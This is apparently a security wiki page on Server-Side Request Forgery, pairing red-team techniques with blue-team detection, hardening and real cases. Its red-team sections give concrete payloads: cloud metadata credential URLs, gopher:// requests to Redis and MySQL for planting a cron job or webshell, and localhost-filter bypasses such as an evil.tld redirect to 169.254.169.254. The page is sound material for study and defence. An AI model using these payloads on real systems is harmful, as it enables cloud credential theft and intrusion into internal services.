SSRF (Server-Side Request Forgery)
The attacker makes the server issue requests to a destination they choose.
Instead of talking to the Internet, the server is forced to talk to internal
resources unreachable from outside: services on localhost, the internal network, or the
cloud provider’s metadata endpoints. Because the request goes out with the server’s
identity and network position, SSRF crosses the perimeter: it’s the path by which some
of the largest cloud infrastructures have fallen.
flowchart LR
A[Attacker] -->|"attacker-controlled URL"| S[Vulnerable server]
S -->|"internal request"| I["Internal service / 169.254.169.254"]
I -->|"response or credentials"| S
S -->|"reflected data"| A
Threat model
Section titled “Threat model”- Access to internal services with no authentication (admin panels, databases, queues, Redis, Elasticsearch, Kubernetes API).
- Cloud credentials: the metadata endpoint exposes the instance role’s temporary tokens → cloud account access (S3, EC2, IAM).
- Scanning and pivoting across the internal network (discover hosts/ports by codes/timing).
- Local file reads (
file://). - RCE against internal services via
gopher://(Redis, MySQL, SMTP, FastCGI).
Anatomy
Section titled “Anatomy”It appears wherever the app takes a URL, host or IP from the user: “import from URL”,
webhooks, link previewers, HTML→PDF / SVG converters, remote image loading,
SSO/jwks_uri, configurable API clients, XML parsers (XXE→SSRF). The server’s HTTP client
follows the URL as-is; controlling that URL (or part) controls who the server talks to.
Variants
Section titled “Variants”- Basic (in-band): the internal resource’s response returns to the attacker.
- Blind: you don’t see the response; confirm with OOB interaction (DNS/HTTP to your collaborator).
- Semi-blind: you don’t see the body, but you see signals (status codes, timing, sizes) to infer (internal scanning, route existence).
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”- Find parameters accepting URL/host/IP, including indirect ones: webhooks, “import
from URL”, remote avatar, SSO
jwks_uri/discovery, PDF generation, fields that end in a server-side request. - Point them at your own server / Burp Collaborator / interactsh and watch whether the app server contacts you → confirms SSRF even blind, and tells you whether there’s DNS, HTTP, or both.
By hand
Section titled “By hand”# 1) Confirm the server makes the request (OOB)curl "https://app.tld/fetch?url=http://YOUR_COLLAB.oob.tld/"
# 2) Internal services (authorized scope only)http://127.0.0.1:6379/ # Redishttp://127.0.0.1:9200/ # Elasticsearchhttp://[::1]/ # IPv6 loopbackhttp://127.0.0.1:80,8080,8000 # internal panels (probe by codes/timing)Cloud metadata (IMDSv1)
Section titled “Cloud metadata (IMDSv1)”# AWS (instance role -> temporary credentials)http://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
# GCP (requires a header)http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google)
# Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01 (Metadata: true)
# DigitalOcean / Alibaba / Oracle Cloudhttp://169.254.169.254/metadata/v1/ (DO)http://100.100.100.200/latest/meta-data/ (Alibaba)From SSRF to RCE (gopher)
Section titled “From SSRF to RCE (gopher)”# gopher:// lets you craft raw TCP packets to internal servicesgopher://127.0.0.1:6379/_<Redis commands> # e.g. write a cron/webshellgopher://127.0.0.1:3306/_<MySQL handshake># Generate payloads with Gopherus (Redis, MySQL, FastCGI, SMTP...)Filter evasion (explained)
Section titled “Filter evasion (explained)”Block-lists for “localhost/127.0.0.1” are bypassed with alternative representations and parser tricks:
127.0.0.1 -> 127.1 -> 2130706433 (decimal) -> 0x7f000001 (hex) -> 0177.0.0.1 (octal)127.0.0.1.nip.io # DNS resolving to internalhttp://evil.tld/redirect -> 302 to http://169.254.169.254/ # redirect the server followshttp://expected.tld@169.254.169.254/ # userinfohttp://169.254.169.254#.expected.tld/ # fragmenthttp://[::ffff:169.254.169.254]/ # IPv4-mapped IPv6Also DNS rebinding (low TTL: pass validation with a public IP and, on connect, resolve to internal).
Tooling
Section titled “Tooling”Burp Collaborator / interactsh (OOB), SSRFmap, Gopherus (gopher payloads), and
curl for manual work.
Impact and chaining
Section titled “Impact and chaining”Role-credential theft → cloud account takeover; internal data access; pivoting; and, via gopher, RCE on internal services. An SSRF in a PDF converter can yield local file reads on the render server.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Outbound requests from the application server to private/link-local ranges
(
169.254.169.254,127.0.0.0/8,10/8,172.16/12,192.168/16) or uncatalogued domains. - Anomalous DNS from the app server (rebinding), queries to OOB domains.
- Access to the metadata endpoint from processes that shouldn’t use it.
Telemetry and sources
Section titled “Telemetry and sources”Application-segment proxy/egress logs, DNS, network flows (NetFlow), and IMDS access logs.
Hardening
Section titled “Hardening”- Allow-list permitted destinations/schemes (specific domains and ports), not a block-list.
- Resolve the name and validate the IP against private/link-local ranges after resolving, and re-validate after each redirect (or don’t follow redirects). Mitigates rebinding and parser tricks.
- Network segmentation: the fetching server must not reach metadata or sensitive internal services (controlled egress).
- Cloud metadata: require IMDSv2 (PUT token session +
hop-limit), which blocks simple SSRF to169.254.169.254; minimize the instance role’s permissions. - Disable dangerous schemes (
file:,gopher:,dict:,ftp:) in the HTTP client.
Response
Section titled “Response”Immediately rotate exposed role credentials, review their use in CloudTrail/logs, enforce IMDSv2 and segmentation, and patch the endpoint.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Capital One (2019) — SSRF against the AWS metadata endpoint (IMDSv1) to obtain role credentials and dump data of ~100 million customers from S3. The case that popularized IMDSv2.
- Microsoft Exchange — ProxyLogon (CVE-2021-26855, 2021) — SSRF as the first link of a chain toward RCE; compromised tens of thousands of servers.
- GitLab (CVE-2021-22214) — unauthenticated SSRF in the import feature.
- Grafana, Jira and multiple proxies/converters — historical SSRFs for internal access or metadata reads.
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Direct and indirect URL/host-accepting parameters identified.
- OOB interaction confirmed (including blind) with a collaborator.
- Cloud metadata (IMDSv1) and internal services tested, in authorized scope.
- Bypasses tested (alternative IP, rebinding, redirect, userinfo, IPv6).
- gopher→RCE evaluated if internal services are reachable.
- Impact documented (credentials/internal service reached) without abuse.